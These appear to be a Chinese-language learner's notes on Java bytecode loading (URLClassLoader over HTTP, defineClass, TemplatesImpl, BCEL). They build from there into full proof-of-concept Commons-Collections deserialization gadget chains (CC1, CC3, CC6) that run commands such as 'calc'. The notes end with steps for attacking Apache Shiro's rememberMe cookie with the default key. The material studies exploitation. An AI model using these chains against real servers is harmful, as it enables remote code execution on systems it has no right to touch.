正常情况下,java 会根据配置向 sun.boot.class.path 和 java.class.path 中列举到的基础路径(这些路径是经过处理后的 java.net.URL 类)来寻找.class 文件来加载,而这个基础路径又分为三种情况

1.URL未以斜杠/结尾,则认为是一个JAR文件,使用JarLoader来寻找类,即为在Jar包中寻找.class文件
2.URL以斜杠/结尾,且协议名是file,则使用FileLoader来寻找类,即为在本地文件系统中寻找.class文件
3.URL以斜杠/结尾,且协议名不是file,则使用最基础的Loader来寻找类

正常开发的时候通常遇到的是前两者,那什么时候才会出现使用 Loader 寻找类的情况呢?当然是非 file 协议的情况下,最常见的就是 http 协议。

这里设计到一个问题:“java的url究竟支持那些协议”
Java 默认支持以下几种 URL 协议:
http
https
ftp
file
jar
 非标准协议(不原生支持,但可扩展):
Java 提供了机制允许你注册自定义协议处理器,比如:
mailto
data
gopher
jdbc(用于数据库连接,但不是通过 java.net.URL 处理的)
如果你想支持这些协议,需要:
自定义协议处理类,继承 URLStreamHandler
设置系统属性 java.protocol.handler.pkgs 来注册协议包
例如:
-Djava.protocol.handler.pkgs=com.mycompany.protocols
然后你就可以访问如 myproto://some/resource,前提是你实现了 com.mycompany.protocols.myproto.Handler 类。

我们可以使用 HTTP 协议来测试一下

image-20250410192411309

image-20250410192431646

package zijiema;
import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Method;
import java.net.MalformedURLException;
import java.net.URL;
import java.net.URLClassLoader;
// 加载远程类还是只能是 java8 之前的版本,java8 之后就不行了
public class ClassLoader {
    public static void main(String[] args) throws ClassNotFoundException, InstantiationException, IllegalAccessException, MalformedURLException, InvocationTargetException, NoSuchMethodException {
        URL[] urls={new URL("http://127.0.0.1:8000/")};
        URLClassLoader loader = URLClassLoader.newInstance(urls);
        System.out.println("Loading class from: http://localhost:8000/");
        Class<?> clazz = loader.loadClass("zijiema.helloworld");
        System.out.println("Class loaded: " + clazz.getName());
// 使用反射创建实例并执行某些方法
        Object obj = clazz.newInstance();
        Method method = clazz.getMethod("main", String[].class);  // 假设类有 main 方法
        method.invoke(obj, (Object) new String[]{});  // 调用 main 方法
    }
}

成功请求到我们的 / Hello.class 文件,并执行了文件里的字节码,输出了 “Hello World”。

所以,作为攻击者,如果我们能够控制目标 JAVA ClassLoader 的基础路径为一个 http 服务器,则可以利用远程加载的方法执行任意代码了

# 利用 ClassLoader#defineClass 直接加载字节码

上文我们认识到了如何利用 URLClassLoader 加载远程 class 文件,也就是字节码。其实,不管是加载远程 class 文件,还是本地的 class 或 jar 文件,java 都经历的是下面这三个方法电用:

image-20250410192910059

其中:

1.loadClass的作用是从已加载的类缓存,符加载器等位置寻找类(这里实际上是双亲委派机制),在前面没有找到的情况下,执行findeClass
2.findClass的作用是根据基础URL指定的方法是来加载类的字节码,就像上一节中说到的,可能会在本地文件系统mjar包或者远程http服务器上读取字节码,然后交给defineClass
3.defineClass的作用是处理前面传入的字节码,将其处理成真正的java类

所以可见,真正核心的部分其实是 defineClass,他决定了如何将一段字节流转变成变成一个 java 类,java 默认的 ClassLoader#defineClass 是一个 native 方法,逻辑在 JVM 的 C 语言代码中。

我们可以编写一个简单的代码,;来演示如何让系统的 defineClass 来直接加载字节码

package zijiema;
import java.util.Base64;
import java.lang.reflect.Method;
public class defineClass {
    public static void main(String[] args) throws Exception {
        Method defineClass = java.lang.ClassLoader.class.getDeclaredMethod(
                "defineClass", String.class, byte[].class, int.class, int.class);
        defineClass.setAccessible(true);
        byte[] code = Base64.getDecoder().decode(
                "yv66vgAAADQAGwoABgANCQAOAA8IABAKABEAEgcAEwcAFAEABjxpbml0PgEAAygpVgEABENvZGUBAA9MaW5lTnVtYmVyVGFibGUBAApTb3VyY2VGaWxlAQAKSGVsbG8uamF2YQwABwAIBwAVDAAWABcBAAtIZWxsbyBXb3JsZAcAGAwAGQAaAQAFSGVsbG8BABBqYXZhL2xhbmcvT2JqZWN0AQAQamF2YS9sYW5nL1N5c3RlbQEAA291dAEAFUxqYXZhL2lvL1ByaW50U3RyZWFtOwEAE2phdmEvaW8vUHJpbnRTdHJlYW0BAAdwcmludGxuAQAVKExqYXZhL2xhbmcvU3RyaW5nOylWACEABQAGAAAAAAABAAEABwAIAAEACQAAAC0AAgABAAAADSq3AAGyAAISA7YABLEAAAABAAoAAAAOAAMAAAACAAQABAAMAAUAAQALAAAAAgAM"
        );
        Class hello = (Class) defineClass.invoke(
                java.lang.ClassLoader.getSystemClassLoader(),
                "Hello", code, 0, code.length);
        hello.newInstance(); // Java 9+ 建议使用 hello.getDeclaredConstructor ().newInstance ()
    }
}

image-20250410193640567

里面的 base64 代码是经过编译后的 Hello 类

注意一点,在 defineClass 被调用的时候,类对象是不会被初始化的,只有这个对象显示地调用其构造函数,初始化代码才能被执行,而且,即使我们将初始化代码放在类的 static 块中,在 defineClass 时页无法被直接掉通道。所以,如果我们要使用 defineClass 在目标机器上执行任意代码,需要想办法调用构造函数。

‘执行上述 example,输出了 Hello World:

(如上图)

这里因为系统地 ClassLoader#defineClass 是一个保护属性,所以我们无法直接在外部访问,不得不使用反射地形式来调用。

在实际场景中,因为 defineClass 方法作用域时不开放地,所以攻击者很少能直接利用到他,但他确实我们常用的一个攻击链 TemplatesImpl 的基石。

# 利用 TemplatesImpl 加载字节码

虽然大部分上层开发者不会直接使用到 defineClass 方法,但是 java 底层还是有一些类用到了他,这就是 TemplatesImpl。

com.sun.org.apache.salan.internal.xsltc.trax.TemplatesImpl 这个类中定义了一个内部类 TransletClassLoader:

static final class TransletClassLoader extends ClassLoader {
private final Map<String,Class> _loadedExternalExtensionFunctions;
TransletClassLoader(ClassLoader parent) {
super(parent);
_loadedExternalExtensionFunctions = null;
}
TransletClassLoader(ClassLoader parent,Map<String, Class> mapEF) {
super(parent);
_loadedExternalExtensionFunctions = mapEF;
}
public Class<?> loadClass(String name) throws ClassNotFoundException {
Class<?> ret = null;
// The _loadedExternalExtensionFunctions will be empty when the
// SecurityManager is not set and the FSP is turned off
if (_loadedExternalExtensionFunctions != null) {
ret = _loadedExternalExtensionFunctions.get(name);
}
if (ret == null) {
ret = super.loadClass(name);
}
return ret;
}
/**
* Access to final protected superclass member from outer class.
*/
Class defineClass(final byte[] b) {
return defineClass(null, b, 0, b.length);
}
}

这个类里面重写了 defineClass 方法,并且这里没有显示地声明其定义域。java 中默认情况下,如果一个方法没有显式声明作用域,其作用域为 default。所以也就是说这里的 defineClass 由其符类地 potected 类型变成了一个 default 类型的方法,可以被类外部调用

我们从 TransletClassLoader#defineClass () 向前追溯一下调用链:

TemplatesImpl#getOutputProperties() -> TemplatesImpl#newTransformer() ->
TemplatesImpl#getTransletInstance() -> TemplatesImpl#defineTransletClasses()
-> TransletClassLoader#defineClass()

追到最前面两个方法 TemplatesImpl#getOutputProperties () 、

TemplatesImpl#newTransformer () ,这两者的作用域式 public,可以被外部调用。我们尝试用 newTransformer () 构造一个简单的 POC:

package zijiema;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import java.lang.reflect.Field;
import java.util.Base64;
public class Templatesimpl {
    public static void main(String[] args) throws Exception {
// source: bytecodes/HelloTemplateImpl.java
        byte[] code =
                Base64.getDecoder().decode("yv66vgAAADQAIQoABgASCQATABQIABUKABYAFwcAGAcAGQEACXRyYW5zZm9ybQEAcihMY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTtbTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEABENvZGUBAA9MaW5lTnVtYmVyVGFibGUBAApFeGNlcHRpb25zBwAaAQCmKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL2R0bS9EVE1BeGlzSXRlcmF0b3I7TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEABjxpbml0PgEAAygpVgEAClNvdXJjZUZpbGUBABdIZWxsb1RlbXBsYXRlc0ltcGwuamF2YQwADgAPBwAbDAAcAB0BABNIZWxsbyBUZW1wbGF0ZXNJbXBsBwAeDAAfACABABJIZWxsb1RlbXBsYXRlc0ltcGwBAEBjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvcnVudGltZS9BYnN0cmFjdFRyYW5zbGV0AQA5Y29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL1RyYW5zbGV0RXhjZXB0aW9uAQAQamF2YS9sYW5nL1N5c3RlbQEAA291dAEAFUxqYXZhL2lvL1ByaW50U3RyZWFtOwEAE2phdmEvaW8vUHJpbnRTdHJlYW0BAAdwcmludGxuAQAVKExqYXZhL2xhbmcvU3RyaW5nOylWACEABQAGAAAAAAADAAEABwAIAAIACQAAABkAAAADAAAAAbEAAAABAAoAAAAGAAEAAAAIAAsAAAAEAAEADAABAAcADQACAAkAAAAZAAAABAAAAAGxAAAAAQAKAAAABgABAAAACgALAAAABAABAAwAAQAOAA8AAQAJAAAALQACAAEAAAANKrcAAbIAAhIDtgAEsQAAAAEACgAAAA4AAwAAAA0ABAAOAAwADwABABAAAAACABE=");
                        TemplatesImpl obj = new TemplatesImpl();
        setFieldValue(obj, "_bytecodes", new byte[][] {code});
        setFieldValue(obj, "_name", "HelloTemplatesImpl");
        setFieldValue(obj, "_tfactory", new TransformerFactoryImpl());
        obj.newTransformer();
    }
    public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {
        Field field = obj.getClass().getDeclaredField(fieldName);
        field.setAccessible(true); // 让私有字段可访问
        field.set(obj, value);
    }
}
其中,setFieldValue方法用来设置私有属性,可见,这里我设置了三个属性:_bytecodes,_name和_tfactory。_bytecodes是哦与字节码组成的数组;_name可以是任意字符串,只要不为Null即可;

_tfactory需要是一个TransformerFactoryImpl对象,因为TemplatesImpl#defineTransletClasses()方法理由调用到_tfactory.getExternalExtensionsMap(),如果是null会出错。

另外,值得注意的是,TemplatesImpl中对加载的字节码是由一定要求的:这个字节码对应的类必须是com.sun.org.apache.xalan.internal.sxltc.runtime.AbstractTranslet的子类。

所以我们需要构造一个特殊的类:

import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
public class HelloTemplatesImpl extends AbstractTranslet {
public void transform(DOM document, SerializationHandler[] handlers)
throws TransletException {}
public void transform(DOM document, DTMAxisIterator iterator,
SerializationHandler handler) throws TransletException {}
public HelloTemplatesImpl() {
super();
System.out.println("Hello TemplatesImpl");
}
}

# 怎么转换 java 文件为字节码(jdk8):

先javac一下(先确认是不是jdk8)(javac 文件名.java)
PS C:\Users\86182\IdeaProjects\ACC_go\src\main\java> certutil -encode zijiema\abstractTranslet.class out.b64
Input Length = 906
Output Length = 1302
CertUtil: -encode command completed successfully.
在同目录下找到这个out.b64文件
又有一个报错:不能解析为一个命令什么的:(用完整路径把)
C:\Users\86182\IdeaProjects\ACC_go\src\main\java>C:\Windows\System32\certutil.exe -encode zijiema\abstractTranslet.class out_cnm.b64
Input Length = 1100
Output Length = 1570
CertUtil: -encode command completed successfully.

image-20250410202153320

image-20250410203101160

这样就从字节码获取对象,这个对象继承了 AbstractTranslet 类,并在构造函数里插入 Hello 的输出。将其编译成字节码,即可被 TemplatesImpl 执行了:

在多个 Java 反序列化利用链,以及 fastjsonjackson 的漏洞中,都曾出现过 TemplatesImpl 的身影,这

个系列后文中仍然会再次见到它的身影。

# 利用 BCEL ClassLoader 加载字节码

在本文第一节中,所有能够恢复成一个类并在 JVM 虚拟机里架子啊的字节序列,都在我们的探讨范围呢 i.suoyi,bcel 字节码也必然在我们的讨论范围内,且占据着比较重要的地位.

BCEL 的全名应该是 Apache Commons BCEL, 属于 Apache Commons 项目下的一个子项目,但其因为被 Apache Xalan 所使用,而 Apache Xalan 又是 java 内部对于 JAXP 的实现,所以 BCEL 也被包含了 JDK 的原生库中。

参考连接:[《BCEL ClassLoader 去哪了》](BCEL ClassLoader 去哪了 | 离别歌)

我们可以通过 BCEL 提供的两个类 Repository 和 Utility 来利用:Repository 用于将一个 Java Class 先转换成原生字节码,当然这里也可以直接使用 javac 命令来编译 java 文件生成字节码;utility 用于将原生的

字节码转黄成 BCEL 格式的字节码:

package zijiema;
import com.sun.org.apache.bcel.internal.classfile.JavaClass;
import com.sun.org.apache.bcel.internal.classfile.Utility;
import com.sun.org.apache.bcel.internal.Repository;
import hello.Hello;
public class HelloBCEL {
    public static void main(String []args) throws Exception {
        JavaClass cls = Repository.lookupClass(Hello.class);
        String code = Utility.encode(cls.getBytes(), true);
        System.out.println(code);
    }
}

image-20250410205048767

而 BCEL ClassLoader 用于加载这串特殊的 “字节码”,并可以执行其中的代码:但是好像在 java8u251 的更新中被移除了,所以无法读出来,抽象,详情可参考 p 神:BCEL ClassLoader 去哪了 | 离别歌

# 为什么需要 CommonsCollections3

上面我们已经讲了 cc1 链了,还有上面的字节码的 encode 和 decode,我们可以结合这两者进行执行字节码的 loadClass 新建对象

TemplateImpl 是一个可以加载字节码的类,通过调用其 newTransformer () 方法,即可执行这段字节码的类构造器。那么

我们是否可以在反序列化漏洞中,利用这个特性来执行任意代码呢?

想一下之前的 cc1 链的简单的 demo:

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;
import java.util.HashMap;
import java.util.Map;
public class CommonCollections1 {
 public static void main(String[] args) throws Exception {
 Transformer[] transformers = new Transformer[]{
 new ConstantTransformer(Runtime.getRuntime()),
 new InvokerTransformer("exec", new Class[]{String.class},
new Object[]
{"/System/Applications/Calculator.app/Contents/MacOS/Calculator"}),
 };
 Transformer transformerChain = new
ChainedTransformer(transformers);
 Map innerMap = new HashMap();
 Map outerMap = TransformedMap.decorate(innerMap, null,
transformerChain);
 outerMap.put("test", "xxxx");
 }
}

我们又学到了如何利用 TemplatesImpl 执行字节码:

// source: bytecodes/HelloTemplateImpl.java
byte[] code =
Base64.getDecoder().decode("yv66vgAAADQAIQoABgASCQATABQIABUKABYAFwcAGAcAGQEA
CXRyYW5zZm9ybQEAcihMY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RP
TTtbTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0
aW9uSGFuZGxlcjspVgEABENvZGUBAA9MaW5lTnVtYmVyVGFibGUBAApFeGNlcHRpb25zBwAaAQCm
KExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO0xjb20vc3VuL29y
Zy9hcGFjaGUveG1sL2ludGVybmFsL2R0bS9EVE1BeGlzSXRlcmF0b3I7TGNvbS9zdW4vb3JnL2Fw
YWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEABjxp
bml0PgEAAygpVgEAClNvdXJjZUZpbGUBABdIZWxsb1RlbXBsYXRlc0ltcGwuamF2YQwADgAPBwAb
DAAcAB0BABNIZWxsbyBUZW1wbGF0ZXNJbXBsBwAeDAAfACABABJIZWxsb1RlbXBsYXRlc0ltcGwB
AEBjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvcnVudGltZS9BYnN0cmFj
dFRyYW5zbGV0AQA5Y29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL1RyYW5z
bGV0RXhjZXB0aW9uAQAQamF2YS9sYW5nL1N5c3RlbQEAA291dAEAFUxqYXZhL2lvL1ByaW50U3Ry
ZWFtOwEAE2phdmEvaW8vUHJpbnRTdHJlYW0BAAdwcmludGxuAQAVKExqYXZhL2xhbmcvU3RyaW5n
OylWACEABQAGAAAAAAADAAEABwAIAAIACQAAABkAAAADAAAAAbEAAAABAAoAAAAGAAEAAAAIAAsA
AAAEAAEADAABAAcADQACAAkAAAAZAAAABAAAAAGxAAAAAQAKAAAABgABAAAACgALAAAABAABAAwA
AQAOAA8AAQAJAAAALQACAAEAAAANKrcAAbIAAhIDtgAEsQAAAAEACgAAAA4AAwAAAA0ABAAOAAwA
DwABABAAAAACABE=");
TemplatesImpl obj = new TemplatesImpl();
setFieldValue(obj, "_bytecodes", new byte[][] {code});
setFieldValue(obj, "_name", "HelloTemplatesImpl");
setFieldValue(obj, "_tfactory", new TransformerFactoryImpl());
obj.newTransformer();

我们知道的 cc1 链:ChainedTransformer 依次执行数组内的类,前一个回调的结果,作为后一个回调的参数传入,而 ConstantTransformer 这个会返回我传入那个类,如何我传入 TemplateImpl 这个类,然后再用再在后面在一个 newTransformer 方法他不就炸了吗,我就可以直接通过 cc1 链运行我第二个代码的东西,所以 cc1 链中的东西都不用去怎么改,只要修改

Transformer[] transformers = new Transformer[]{
 new ConstantTransformer(obj),
 new InvokerTransformer("newTransformer", null, null)
}

完整的 poc 就是:

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import
com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;
import org.apache.commons.collections.Transformer;
import java.lang.reflect.Field;
import java.util.Base64;
import java.util.HashMap;
import java.util.Map;
public class CommonsCollectionsIntro2 {
 public static void setFieldValue(Object obj, String fieldName, Object
value) throws Exception {
 Field field = obj.getClass().getDeclaredField(fieldName);
 field.setAccessible(true);
 field.set(obj, value);
 }
 public static void main(String[] args) throws Exception {
 // source: bytecodes/HelloTemplateImpl.java
 byte[] code =
Base64.getDecoder().decode("yv66vgAAADQAIQoABgASCQATABQIABUKABYAFwcAGAcAGQ
EACXRyYW5zZm9ybQEAcihMY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRj
L0RPTTtbTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYW
xpemF0aW9uSGFuZGxlcjspVgEABENvZGUBAA9MaW5lTnVtYmVyVGFibGUBAApFeGNlcHRpb25z
BwAaAQCmKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO0xjb2
0vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL2R0bS9EVE1BeGlzSXRlcmF0b3I7TGNvbS9z
dW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZG
xlcjspVgEABjxpbml0PgEAAygpVgEAClNvdXJjZUZpbGUBABdIZWxsb1RlbXBsYXRlc0ltcGwu
amF2YQwADgAPBwAbDAAcAB0BABNIZWxsbyBUZW1wbGF0ZXNJbXBsBwAeDAAfACABABJIZWxsb1
RlbXBsYXRlc0ltcGwBAEBjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMv
cnVudGltZS9BYnN0cmFjdFRyYW5zbGV0AQA5Y29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludG
VybmFsL3hzbHRjL1RyYW5zbGV0RXhjZXB0aW9uAQAQamF2YS9sYW5nL1N5c3RlbQEAA291dAEA
FUxqYXZhL2lvL1ByaW50U3RyZWFtOwEAE2phdmEvaW8vUHJpbnRTdHJlYW0BAAdwcmludGxuAQ
AVKExqYXZhL2xhbmcvU3RyaW5nOylWACEABQAGAAAAAAADAAEABwAIAAIACQAAABkAAAADAAAA
AbEAAAABAAoAAAAGAAEAAAAIAAsAAAAEAAEADAABAAcADQACAAkAAAAZAAAABAAAAAGxAAAAAQ
AKAAAABgABAAAACgALAAAABAABAAwAAQAOAA8AAQAJAAAALQACAAEAAAANKrcAAbIAAhIDtgAE
sQAAAAEACgAAAA4AAwAAAA0ABAAOAAwADwABABAAAAACABE=");
 TemplatesImpl obj = new TemplatesImpl();
 setFieldValue(obj, "_bytecodes", new byte[][] {code});
 setFieldValue(obj, "_name", "HelloTemplatesImpl");
 setFieldValue(obj, "_tfactory", new TransformerFactoryImpl());
 Transformer[] transformers = new Transformer[]{
 
 
new ConstantTransformer(obj),
new InvokerTransformer("newTransformer", null, null)
 };
 Transformer transformerChain = new
ChainedTransformer(transformers);
 Map innerMap = new HashMap();
 Map outerMap = TransformedMap.decorate(innerMap, null,
transformerChain);
 outerMap.put("test", "xxxx");
 }
}

成功执行字节码:

image-20250410212747326

现在是 cc3 链的一半了,但是你看 cc3 的 yso 没有用 InvokerTransformer 这个玩意,这是因为:

2015 年初,@frohoff 和 @gebl 发布了 Talk《Marshalling Pickles: how deserializing objects will ruin

your day》,以及 Java 反序列化利⽤⼯具 ysoserial,随后引爆了安全界。开发者们⾃然会去找寻⼀种安

全的过滤⽅法,于是类似 SerialKiller 这样的⼯具随之诞⽣。

SerialKiller 是⼀个 Java 反序列化过滤器,可以通过⿊名单与⽩名单的⽅式来限制反序列化时允许通过的

类。在其发布的第⼀个版本代码中,我们可以看到其给出了最初的⿊名单

image-20250410214517565

这个黑名单 InvokerTransformer 赫然在列,也就切断了 cc1 的利用链,为了绕过这个限制,yso 的 cc3 使用到了另一个类:com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter。

这个类的构造方法中调通了(TransfoemerImpl) templates.newTransformer (), 免去了我们使用 InvokerTransformer 手工调用 newTransformer () 方法这一步:

image-20250410215018669

在_transformer=(TransfoemerImpl) templates.newTransformer (); 这里

当然,缺少了 Invokerformer,TrAXFileter 的构造方法也是无法调用的。这里会用到一个新的 Tranformer,就是 org.apache.commonscollections.functors.InstantiateTransformer.

instantiateTransformer 也是一个实现了 Transformer 接口的类,他的作用就是调用构造方法。

所以,我们需要实现的目标就是,利用 InstantiateTransformer 来调用到 TrAXFilter 的构造方法,再利用其构造方法里的 templates.newTransfoemer () 调用到 TemplatesImpl 里的字节码

我们构造的 Transformer 调用链如下:

Transformer[] transformers = new Transformer[]{
 new ConstantTransformer(TrAXFilter.class),
 new InstantiateTransformer(
 new Class[] { Templates.class },
 new Object[] { obj })
 };

替换到前面的 demo 中,也能成功触发,皮面了使用 InvokerTranformer:

image-20250410220035682

替换之后也是能够触发字节码的

这标记的里面的这些,一个是 ConstantTransformer 返回一个 TrAXFilter 的类,instantiate 新建类时会调用这个类的构造方法,刚好 TrAXFilter 的构造方法里面有一个 templates.newTransformer () 调用到 TemplatesImpl 里的字节码

最后就是完整版的 payload:跟 acc1 链好像和不了一点,因为这里有一个 base64 类直在 1.8 以上版本存在,但是这个版本的 acc1 链需要 1.7 及一下才会触发,所以这个版本触发不了(其他的 base64 好像街解不了码,会直接报错),我用的是 acc6 里面的 LazyMap:

package myapp;
//Java 8
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.annotation.Retention;
import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Proxy;
import java.util.HashMap;
import java.util.Map;
public class acc_LazyMap {
    public static void main(String[] args) throws Exception {
        Transformer[] transformers = new Transformer[] {
                new ConstantTransformer(Runtime.class),new InvokerTransformer("getMethod", new Class[] {
                String.class,
                Class[].class }, new Object[] { "getRuntime",
                new Class[0] }),
                new InvokerTransformer("invoke", new Class[] {
                        Object.class,
                        Object[].class }, new Object[] { null, new
                        Object[0] }),
                new InvokerTransformer("exec", new Class[] { String.class
                },
                        new String[] { "calc" }),
                new ConstantTransformer(1),
        };
        Transformer transformerChain = new
                ChainedTransformer(transformers);
        Map innerMap = new HashMap();
        Map outerMap = LazyMap.decorate(innerMap, transformerChain);
        Class clazz =
                Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
        Constructor construct = clazz.getDeclaredConstructor(Class.class,
                Map.class);
        construct.setAccessible(true);
        InvocationHandler handler = (InvocationHandler)
                construct.newInstance(Retention.class, outerMap);
        Map proxyMap = (Map)
                Proxy.newProxyInstance(Map.class.getClassLoader(), new Class[] {Map.class},
                        handler);
        handler = (InvocationHandler)
                construct.newInstance(Retention.class, proxyMap);
        ByteArrayOutputStream barr = new ByteArrayOutputStream();
        ObjectOutputStream oos = new ObjectOutputStream(barr);
        oos.writeObject(handler);
        oos.close();
        System.out.println(barr);
        ObjectInputStream ois = new ObjectInputStream(new
                ByteArrayInputStream(barr.toByteArray()));
        Object o = (Object)ois.readObject();
    }
}

字节码文件的内容:、

//
// Source code recreated from a .class file by IntelliJ IDEA
// (powered by FernFlower decompiler)
//
package zijiema;
import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
import java.io.IOException;
public class abstractTranslet extends AbstractTranslet {
    public void transform(DOM var1, SerializationHandler[] var2) throws TransletException {
    }
    public void transform(DOM var1, DTMAxisIterator var2, SerializationHandler var3) throws TransletException {
    }
    public abstractTranslet() throws IOException {
        Runtime.getRuntime().exec("calc");
        System.out.println("Hello TemplatesImplniganma");
    }
}

成果文件

image-20250521162244745

# Template 在 Shiro 中的利用

在前面的内容中,我们可以将 TemplatesImpl 融合到 COmmons-Collections 利用链中,,执行任意 java 字节码了,但是想了一下,ACC6 这个不是通杀链子嘛,也是可以直接任意代码执行的(现在应该是不行了,java23 运行不了一点),通过 TemplatesImpl 构造的利用链,理论上是可以执行任意 java 代码,这是一种非常统用的代码执行漏洞,不受到对于链的限制,现在讲一个 shiro 的例子

# 使用 CC6 攻击 Shiro

如果登录时选择了 remember me 的多选框,则登录成功后服务端会返回一个 rememberMe 的 Cookie:

image-20250521204305933

这玩意登录一次成功只会出现一次

对此,我们攻击过程如下:

\1. 使用以前学过的 CommonsCollections 利用链生成一个序列化 Payload

\2. 使用 Shiro 默认 Key 进行加密

\3. 将密文作为 rememberMe 的 Cookie 发送给服务端